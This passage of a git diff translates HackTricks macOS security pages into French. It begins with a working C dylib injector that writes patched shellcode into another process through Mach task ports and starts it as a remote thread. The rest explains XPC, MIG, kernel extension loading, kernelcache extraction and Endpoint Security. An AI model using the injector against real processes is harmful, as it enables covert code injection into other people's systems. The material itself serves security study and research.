remoteStack64); - } +fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); +} - // Allocate memory for the code - remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); +// Allocate memory for the code +remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} - // Patch shellcode +// Patch shellcode - int i = 0; - char *possiblePatchLocation = (injectedCode ); - for (i = 0 ; i < 0x100; i++) - { +int i = 0; +char *possiblePatchLocation = (injectedCode ); +for (i = 0 ; i < 0x100; i++) +{ - // Patching is crude, but works. - // - extern void *_pthread_set_self; - possiblePatchLocation++; +// Patching is crude, but works. +// +extern void *_pthread_set_self; +possiblePatchLocation++; - uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; - uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; - uint64_t addrOfDlopen = (uint64_t) dlopen; +uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; +uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; +uint64_t addrOfDlopen = (uint64_t) dlopen; - if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) - { - memcpy(possiblePatchLocation, &addrOfPthreadExit,8); - printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); - } +if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) +{ +memcpy(possiblePatchLocation, &addrOfPthreadExit,8); +printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); +} - if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0) - { - memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); - printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate); - } +if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0) +{ +memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); +printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate); +} - if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0) - { - printf ("DLOpen @%llx\n", addrOfDlopen); - memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); - } +if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0) +{ +printf ("DLOpen @%llx\n", addrOfDlopen); +memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); +} - if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0) - { - strcpy(possiblePatchLocation, lib ); - } - } +if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0) +{ +strcpy(possiblePatchLocation, lib ); +} +} - // Write the shellcode to the allocated memory - kr = mach_vm_write(remoteTask, // Task port - remoteCode64, // Virtual Address (Destination) - (vm_address_t) injectedCode, // Source - 0xa9); // Length of the source +// Write the shellcode to the allocated memory +kr = mach_vm_write(remoteTask, // Task port +remoteCode64, // Virtual Address (Destination) +(vm_address_t) injectedCode, // Source +0xa9); // Length of the source - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); - return (-3); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); +return (-3); +} - // Set the permissions on the allocated code memory - kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); +// Set the permissions on the allocated code memory +kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Set the permissions on the allocated stack memory - kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); +// Set the permissions on the allocated stack memory +kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Create thread to run shellcode - struct arm_unified_thread_state remoteThreadState64; - thread_act_t remoteThread; +// Create thread to run shellcode +struct arm_unified_thread_state remoteThreadState64; +thread_act_t remoteThread; - memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); +memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); - remoteStack64 += (STACK_SIZE / 2); // this is the real stack - //remoteStack64 -= 8; // need alignment of 16 +remoteStack64 += (STACK_SIZE / 2); // this is the real stack +//remoteStack64 -= 8; // need alignment of 16 - const char* p = (const char*) remoteCode64; +const char* p = (const char*) remoteCode64; - remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; - remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; - remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; - remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; +remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; +remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; +remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; +remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; - printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); +printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); - kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, - (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); +kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, +(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); - if (kr != KERN_SUCCESS) { - fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); - return (-3); - } +if (kr != KERN_SUCCESS) { +fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); +return (-3); +} - return (0); +return (0); } int main(int argc, const char * argv[]) { - if (argc < 3) - { - fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]); - fprintf (stderr, " _action_: path to a dylib on disk\n"); - exit(0); - } +if (argc < 3) +{ +fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]); +fprintf (stderr, " _action_: path to a dylib on disk\n"); +exit(0); +} - pid_t pid = atoi(argv[1]); - const char *action = argv[2]; - struct stat buf; +pid_t pid = atoi(argv[1]); +const char *action = argv[2]; +struct stat buf; - int rc = stat (action, &buf); - if (rc == 0) inject(pid,action); - else - { - fprintf(stderr,"Dylib not found\n"); - } +int rc = stat (action, &buf); +if (rc == 0) inject(pid,action); +else +{ +fprintf(stderr,"Dylib not found\n"); +} } ``` -
- ```bash gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ./inject ``` +### Détournement de fil via le port de tâche -### Thread Hijacking via Task port - -In this technique a thread of the process is hijacked: +Dans cette technique, un fil du processus est détourné : {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -820,27 +800,27 @@ In this technique a thread of the process is hijacked: ## XPC -### Basic Information +### Informations de base -XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for **communication between processes** on macOS and iOS. XPC provides a mechanism for making **safe, asynchronous method calls between different processes** on the system. It's a part of Apple's security paradigm, allowing for the **creation of privilege-separated applications** where each **component** runs with **only the permissions it needs** to do its job, thereby limiting the potential damage from a compromised process. +XPC, qui signifie XNU (le noyau utilisé par macOS) inter-Process Communication, est un cadre pour **la communication entre processus** sur macOS et iOS. XPC fournit un mécanisme pour effectuer des **appels de méthode asynchrones et sécurisés entre différents processus** sur le système. C'est une partie du paradigme de sécurité d'Apple, permettant la **création d'applications séparées par privilèges** où chaque **composant** fonctionne avec **seulement les permissions nécessaires** pour accomplir sa tâche, limitant ainsi les dommages potentiels d'un processus compromis. -For more information about how this **communication work** on how it **could be vulnerable** check: +Pour plus d'informations sur le fonctionnement de cette **communication** et sur la façon dont elle **pourrait être vulnérable**, consultez : {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/ {{#endref}} -## MIG - Mach Interface Generator +## MIG - Générateur d'interface Mach -MIG was created to **simplify the process of Mach IPC** code creation. It basically **generates the needed code** for server and client to communicate with a given definition. Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before. +MIG a été créé pour **simplifier le processus de création de code Mach IPC**. Il génère essentiellement le **code nécessaire** pour que le serveur et le client communiquent avec une définition donnée. Même si le code généré est peu esthétique, un développeur n'aura qu'à l'importer et son code sera beaucoup plus simple qu'auparavant. -For more info check: +Pour plus d'infos, consultez : {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md {{#endref}} -## References +## Références - [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html) - [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index 4258ded90..da7b73222 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -2,40 +2,39 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informations de base -Kernel extensions (Kexts) are **packages** with a **`.kext`** extension that are **loaded directly into the macOS kernel space**, providing additional functionality to the main operating system. +Les extensions de noyau (Kexts) sont des **packages** avec une extension **`.kext`** qui sont **chargés directement dans l'espace noyau de macOS**, fournissant des fonctionnalités supplémentaires au système d'exploitation principal. -### Requirements +### Exigences -Obviously, this is so powerful that it is **complicated to load a kernel extension**. These are the **requirements** that a kernel extension must meet to be loaded: +Évidemment, c'est si puissant qu'il est **compliqué de charger une extension de noyau**. Voici les **exigences** qu'une extension de noyau doit respecter pour être chargée : -- When **entering recovery mode**, kernel **extensions must be allowed** to be loaded: +- Lors de **l'entrée en mode de récupération**, les **extensions de noyau doivent être autorisées** à être chargées :
-- The kernel extension must be **signed with a kernel code signing certificate**, which can only be **granted by Apple**. Who will review in detail the company and the reasons why it is needed. -- The kernel extension must also be **notarized**, Apple will be able to check it for malware. -- Then, the **root** user is the one who can **load the kernel extension** and the files inside the package must **belong to root**. -- During the upload process, the package must be prepared in a **protected non-root location**: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant). -- Finally, when attempting to load it, the user will [**receive a confirmation request**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) and, if accepted, the computer must be **restarted** to load it. +- L'extension de noyau doit être **signée avec un certificat de signature de code de noyau**, qui ne peut être **accordé que par Apple**. Qui examinera en détail l'entreprise et les raisons pour lesquelles cela est nécessaire. +- L'extension de noyau doit également être **notariée**, Apple pourra la vérifier pour détecter des logiciels malveillants. +- Ensuite, l'utilisateur **root** est celui qui peut **charger l'extension de noyau** et les fichiers à l'intérieur du package doivent **appartenir à root**. +- Pendant le processus de téléchargement, le package doit être préparé dans un **emplacement protégé non-root** : `/Library/StagedExtensions` (nécessite l'octroi `com.apple.rootless.storage.KernelExtensionManagement`). +- Enfin, lors de la tentative de chargement, l'utilisateur recevra une [**demande de confirmation**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) et, si acceptée, l'ordinateur doit être **redémarré** pour le charger. -### Loading process +### Processus de chargement -In Catalina it was like this: It is interesting to note that the **verification** process occurs in **userland**. However, only applications with the **`com.apple.private.security.kext-management`** grant can **request the kernel to load an extension**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` +Dans Catalina, c'était comme ça : Il est intéressant de noter que le processus de **vérification** se déroule en **userland**. Cependant, seules les applications avec l'octroi **`com.apple.private.security.kext-management`** peuvent **demander au noyau de charger une extension** : `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` -1. **`kextutil`** cli **starts** the **verification** process for loading an extension - - It will talk to **`kextd`** by sending using a **Mach service**. -2. **`kextd`** will check several things, such as the **signature** - - It will talk to **`syspolicyd`** to **check** if the extension can be **loaded**. -3. **`syspolicyd`** will **prompt** the **user** if the extension has not been previously loaded. - - **`syspolicyd`** will report the result to **`kextd`** -4. **`kextd`** will finally be able to **tell the kernel to load** the extension +1. **`kextutil`** cli **démarre** le processus de **vérification** pour charger une extension +- Il communiquera avec **`kextd`** en utilisant un **service Mach**. +2. **`kextd`** vérifiera plusieurs choses, telles que la **signature** +- Il communiquera avec **`syspolicyd`** pour **vérifier** si l'extension peut être **chargée**. +3. **`syspolicyd`** **demande** à l'**utilisateur** si l'extension n'a pas été chargée précédemment. +- **`syspolicyd`** rapportera le résultat à **`kextd`** +4. **`kextd`** pourra enfin **dire au noyau de charger** l'extension -If **`kextd`** is not available, **`kextutil`** can perform the same checks. - -### Enumeration (loaded kexts) +Si **`kextd`** n'est pas disponible, **`kextutil`** peut effectuer les mêmes vérifications. +### Énumération (kexts chargés) ```bash # Get loaded kernel extensions kextstat @@ -43,40 +42,38 @@ kextstat # Get dependencies of the kext number 22 kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1 ``` - ## Kernelcache > [!CAUTION] -> Even though the kernel extensions are expected to be in `/System/Library/Extensions/`, if you go to this folder you **won't find any binary**. This is because of the **kernelcache** and in order to reverse one `.kext` you need to find a way to obtain it. +> Même si les extensions du noyau sont censées se trouver dans `/System/Library/Extensions/`, si vous allez dans ce dossier, vous **ne trouverez aucun binaire**. Cela est dû au **kernelcache** et pour inverser un `.kext`, vous devez trouver un moyen de l'obtenir. -The **kernelcache** is a **pre-compiled and pre-linked version of the XNU kernel**, along with essential device **drivers** and **kernel extensions**. It's stored in a **compressed** format and gets decompressed into memory during the boot-up process. The kernelcache facilitates a **faster boot time** by having a ready-to-run version of the kernel and crucial drivers available, reducing the time and resources that would otherwise be spent on dynamically loading and linking these components at boot time. +Le **kernelcache** est une **version pré-compilée et pré-lien du noyau XNU**, ainsi que des **drivers** et des **extensions de noyau** essentiels. Il est stocké dans un format **compressé** et est décompressé en mémoire pendant le processus de démarrage. Le kernelcache facilite un **temps de démarrage plus rapide** en ayant une version prête à l'emploi du noyau et des drivers cruciaux disponibles, réduisant le temps et les ressources qui seraient autrement dépensés pour charger et lier dynamiquement ces composants au moment du démarrage. ### Local Kerlnelcache -In iOS it's located in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS you can find it with: **`find / -name "kernelcache" 2>/dev/null`** \ -In my case in macOS I found it in: +Dans iOS, il est situé dans **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** dans macOS, vous pouvez le trouver avec : **`find / -name "kernelcache" 2>/dev/null`** \ +Dans mon cas, dans macOS, je l'ai trouvé dans : - `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache` #### IMG4 -The IMG4 file format is a container format used by Apple in its iOS and macOS devices for securely **storing and verifying firmware** components (like **kernelcache**). The IMG4 format includes a header and several tags which encapsulate different pieces of data including the actual payload (like a kernel or bootloader), a signature, and a set of manifest properties. The format supports cryptographic verification, allowing the device to confirm the authenticity and integrity of the firmware component before executing it. +Le format de fichier IMG4 est un format de conteneur utilisé par Apple dans ses appareils iOS et macOS pour **stocker et vérifier en toute sécurité** les composants du firmware (comme le **kernelcache**). Le format IMG4 comprend un en-tête et plusieurs balises qui encapsulent différentes pièces de données, y compris la charge utile réelle (comme un noyau ou un chargeur de démarrage), une signature et un ensemble de propriétés de manifeste. Le format prend en charge la vérification cryptographique, permettant à l'appareil de confirmer l'authenticité et l'intégrité du composant du firmware avant de l'exécuter. -It's usually composed of the following components: +Il est généralement composé des composants suivants : -- **Payload (IM4P)**: - - Often compressed (LZFSE4, LZSS, …) - - Optionally encrypted -- **Manifest (IM4M)**: - - Contains Signature - - Additional Key/Value dictionary -- **Restore Info (IM4R)**: - - Also known as APNonce - - Prevents replaying of some updates - - OPTIONAL: Usually this isn't found - -Decompress the Kernelcache: +- **Payload (IM4P)** : +- Souvent compressé (LZFSE4, LZSS, …) +- Optionnellement chiffré +- **Manifest (IM4M)** : +- Contient la signature +- Dictionnaire clé/valeur supplémentaire +- **Restore Info (IM4R)** : +- Également connu sous le nom d'APNonce +- Empêche la répétition de certaines mises à jour +- OPTIONNEL : En général, cela n'est pas trouvé +Décompressez le Kernelcache : ```bash # img4tool (https://github.com/tihmstar/img4tool img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e @@ -84,49 +81,39 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e # pyimg4 (https://github.com/m1stadev/PyIMG4) pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` - -### Download +### Télécharger - [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases) -In [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) it's possible to find all the kernel debug kits. You can download it, mount it, open it with [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) tool, access the **`.kext`** folder and **extract it**. - -Check it for symbols with: +Dans [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases), il est possible de trouver tous les kits de débogage du noyau. Vous pouvez le télécharger, le monter, l'ouvrir avec l'outil [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), accéder au dossier **`.kext`** et **l'extraire**. +Vérifiez-le pour les symboles avec : ```bash nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l ``` - - [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/) -Sometime Apple releases **kernelcache** with **symbols**. You can download some firmwares with symbols by following links on those pages. The firmwares will contain the **kernelcache** among other files. +Parfois, Apple publie **kernelcache** avec des **symbols**. Vous pouvez télécharger certains firmwares avec des symbols en suivant les liens sur ces pages. Les firmwares contiendront le **kernelcache** parmi d'autres fichiers. -To **extract** the files start by changing the extension from `.ipsw` to `.zip` and **unzip** it. +Pour **extraire** les fichiers, commencez par changer l'extension de `.ipsw` à `.zip` et **décompressez**-le. -After extracting the firmware you will get a file like: **`kernelcache.release.iphone14`**. It's in **IMG4** format, you can extract the interesting info with: +Après avoir extrait le firmware, vous obtiendrez un fichier comme : **`kernelcache.release.iphone14`**. Il est au format **IMG4**, vous pouvez extraire les informations intéressantes avec : [**pyimg4**](https://github.com/m1stadev/PyIMG4)**:** - ```bash pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` - [**img4tool**](https://github.com/tihmstar/img4tool)**:** - ```bash img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` +### Inspection du kernelcache -### Inspecting kernelcache - -Check if the kernelcache has symbols with - +Vérifiez si le kernelcache a des symboles avec ```bash nm -a kernelcache.release.iphone14.e | wc -l ``` - -With this we can now **extract all the extensions** or the **one you are interested in:** - +Avec cela, nous pouvons maintenant **extraire toutes les extensions** ou celle qui vous intéresse : ```bash # List all extensions kextex -l kernelcache.release.iphone14.e @@ -139,10 +126,9 @@ kextex_all kernelcache.release.iphone14.e # Check the extension for symbols nm -a binaries/com.apple.security.sandbox | wc -l ``` +## Débogage -## Debugging - -## Referencias +## Références - [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/) - [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md index bb6bb0697..c1e6041ea 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md @@ -1,10 +1,10 @@ -# macOS Kernel Vulnerabilities +# Vulnérabilités du noyau macOS {{#include ../../../banners/hacktricks-training.md}} ## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) -[**In this report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) are explained several vulnerabilities that allowed to compromised the kernel compromising the software updater.\ +[**Dans ce rapport**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) sont expliquées plusieurs vulnérabilités qui ont permis de compromettre le noyau en compromettant le logiciel de mise à jour.\ [**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md index 83bdf0dc2..1a1fc8dfd 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md @@ -2,82 +2,80 @@ {{#include ../../../banners/hacktricks-training.md}} -## System Extensions / Endpoint Security Framework +## Systèmes d'extensions / Cadre de sécurité des points de terminaison -Unlike Kernel Extensions, **System Extensions run in user space** instead of kernel space, reducing the risk of a system crash due to extension malfunction. +Contrairement aux extensions du noyau, **les systèmes d'extensions s'exécutent dans l'espace utilisateur** plutôt que dans l'espace noyau, réduisant ainsi le risque d'un crash système dû à un dysfonctionnement de l'extension.
https://knight.sc/images/system-extension-internals-1.png
-There are three types of system extensions: **DriverKit** Extensions, **Network** Extensions, and **Endpoint Security** Extensions. +Il existe trois types de systèmes d'extensions : **DriverKit** Extensions, **Network** Extensions, et **Endpoint Security** Extensions. ### **DriverKit Extensions** -DriverKit is a replacement for kernel extensions that **provide hardware support**. It allows device drivers (like USB, Serial, NIC, and HID drivers) to run in user space rather than kernel space. The DriverKit framework includes **user space versions of certain I/O Kit classes**, and the kernel forwards normal I/O Kit events to user space, offering a safer environment for these drivers to run. +DriverKit est un remplacement pour les extensions du noyau qui **fournissent un support matériel**. Il permet aux pilotes de périphériques (comme les pilotes USB, Série, NIC, et HID) de s'exécuter dans l'espace utilisateur plutôt que dans l'espace noyau. Le cadre DriverKit inclut **des versions en espace utilisateur de certaines classes de l'I/O Kit**, et le noyau transmet les événements normaux de l'I/O Kit à l'espace utilisateur, offrant un environnement plus sûr pour que ces pilotes s'exécutent. ### **Network Extensions** -Network Extensions provide the ability to customize network behaviors. There are several types of Network Extensions: +Les extensions réseau offrent la possibilité de personnaliser les comportements réseau. Il existe plusieurs types d'extensions réseau : -- **App Proxy**: This is used for creating a VPN client that implements a flow-oriented, custom VPN protocol. This means it handles network traffic based on connections (or flows) rather than individual packets. -- **Packet Tunnel**: This is used for creating a VPN client that implements a packet-oriented, custom VPN protocol. This means it handles network traffic based on individual packets. -- **Filter Data**: This is used for filtering network "flows". It can monitor or modify network data at the flow level. -- **Filter Packet**: This is used for filtering individual network packets. It can monitor or modify network data at the packet level. -- **DNS Proxy**: This is used for creating a custom DNS provider. It can be used to monitor or modify DNS requests and responses. +- **App Proxy** : Cela est utilisé pour créer un client VPN qui implémente un protocole VPN personnalisé orienté flux. Cela signifie qu'il gère le trafic réseau en fonction des connexions (ou flux) plutôt qu'en fonction des paquets individuels. +- **Packet Tunnel** : Cela est utilisé pour créer un client VPN qui implémente un protocole VPN personnalisé orienté paquet. Cela signifie qu'il gère le trafic réseau en fonction des paquets individuels. +- **Filter Data** : Cela est utilisé pour filtrer les "flux" réseau. Il peut surveiller ou modifier les données réseau au niveau du flux. +- **Filter Packet** : Cela est utilisé pour filtrer les paquets réseau individuels. Il peut surveiller ou modifier les données réseau au niveau du paquet. +- **DNS Proxy** : Cela est utilisé pour créer un fournisseur DNS personnalisé. Il peut être utilisé pour surveiller ou modifier les requêtes et réponses DNS. -## Endpoint Security Framework +## Cadre de sécurité des points de terminaison -Endpoint Security is a framework provided by Apple in macOS that provides a set of APIs for system security. It's intended for use by **security vendors and developers to build products that can monitor and control system activity** to identify and protect against malicious activity. +La sécurité des points de terminaison est un cadre fourni par Apple dans macOS qui offre un ensemble d'API pour la sécurité système. Il est destiné à être utilisé par **des fournisseurs de sécurité et des développeurs pour créer des produits qui peuvent surveiller et contrôler l'activité système** afin d'identifier et de protéger contre les activités malveillantes. -This framework provides a **collection of APIs to monitor and control system activity**, such as process executions, file system events, network and kernel events. +Ce cadre fournit une **collection d'API pour surveiller et contrôler l'activité système**, telles que les exécutions de processus, les événements du système de fichiers, les événements réseau et noyau. -The core of this framework is implemented in the kernel, as a Kernel Extension (KEXT) located at **`/System/Library/Extensions/EndpointSecurity.kext`**. This KEXT is made up of several key components: +Le cœur de ce cadre est implémenté dans le noyau, en tant qu'extension du noyau (KEXT) située à **`/System/Library/Extensions/EndpointSecurity.kext`**. Ce KEXT est composé de plusieurs composants clés : -- **EndpointSecurityDriver**: This acts as the "entry point" for the kernel extension. It's the main point of interaction between the OS and the Endpoint Security framework. -- **EndpointSecurityEventManager**: This component is responsible for implementing kernel hooks. Kernel hooks allow the framework to monitor system events by intercepting system calls. -- **EndpointSecurityClientManager**: This manages the communication with user space clients, keeping track of which clients are connected and need to receive event notifications. -- **EndpointSecurityMessageManager**: This sends messages and event notifications to user space clients. +- **EndpointSecurityDriver** : Cela agit comme le "point d'entrée" pour l'extension du noyau. C'est le principal point d'interaction entre le système d'exploitation et le cadre de sécurité des points de terminaison. +- **EndpointSecurityEventManager** : Ce composant est responsable de l'implémentation des hooks du noyau. Les hooks du noyau permettent au cadre de surveiller les événements système en interceptant les appels système. +- **EndpointSecurityClientManager** : Cela gère la communication avec les clients en espace utilisateur, en gardant une trace des clients connectés et de ceux qui doivent recevoir des notifications d'événements. +- **EndpointSecurityMessageManager** : Cela envoie des messages et des notifications d'événements aux clients en espace utilisateur. -The events that the Endpoint Security framework can monitor are categorized into: +Les événements que le cadre de sécurité des points de terminaison peut surveiller sont classés en : -- File events -- Process events -- Socket events -- Kernel events (such as loading/unloading a kernel extension or opening an I/O Kit device) +- Événements de fichiers +- Événements de processus +- Événements de socket +- Événements du noyau (comme le chargement/déchargement d'une extension du noyau ou l'ouverture d'un périphérique I/O Kit) -### Endpoint Security Framework Architecture +### Architecture du cadre de sécurité des points de terminaison
https://www.youtube.com/watch?v=jaVkpM1UqOs
-**User-space communication** with the Endpoint Security framework happens through the IOUserClient class. Two different subclasses are used, depending on the type of caller: +**La communication en espace utilisateur** avec le cadre de sécurité des points de terminaison se fait par le biais de la classe IOUserClient. Deux sous-classes différentes sont utilisées, selon le type d'appelant : -- **EndpointSecurityDriverClient**: This requires the `com.apple.private.endpoint-security.manager` entitlement, which is only held by the system process `endpointsecurityd`. -- **EndpointSecurityExternalClient**: This requires the `com.apple.developer.endpoint-security.client` entitlement. This would typically be used by third-party security software that needs to interact with the Endpoint Security framework. +- **EndpointSecurityDriverClient** : Cela nécessite le droit `com.apple.private.endpoint-security.manager`, qui n'est détenu que par le processus système `endpointsecurityd`. +- **EndpointSecurityExternalClient** : Cela nécessite le droit `com.apple.developer.endpoint-security.client`. Cela serait généralement utilisé par des logiciels de sécurité tiers qui ont besoin d'interagir avec le cadre de sécurité des points de terminaison. -The Endpoint Security Extensions:**`libEndpointSecurity.dylib`** is the C library that system extensions use to communicate with the kernel. This library uses the I/O Kit (`IOKit`) to communicate with the Endpoint Security KEXT. +Les extensions de sécurité des points de terminaison : **`libEndpointSecurity.dylib`** est la bibliothèque C que les systèmes d'extensions utilisent pour communiquer avec le noyau. Cette bibliothèque utilise l'I/O Kit (`IOKit`) pour communiquer avec le KEXT de sécurité des points de terminaison. -**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security system extensions, particularly during the early boot process. **Only system extensions** marked with **`NSEndpointSecurityEarlyBoot`** in their `Info.plist` file receive this early boot treatment. +**`endpointsecurityd`** est un démon système clé impliqué dans la gestion et le lancement des extensions de sécurité des points de terminaison, en particulier pendant le processus de démarrage précoce. **Seules les extensions système** marquées avec **`NSEndpointSecurityEarlyBoot`** dans leur fichier `Info.plist` 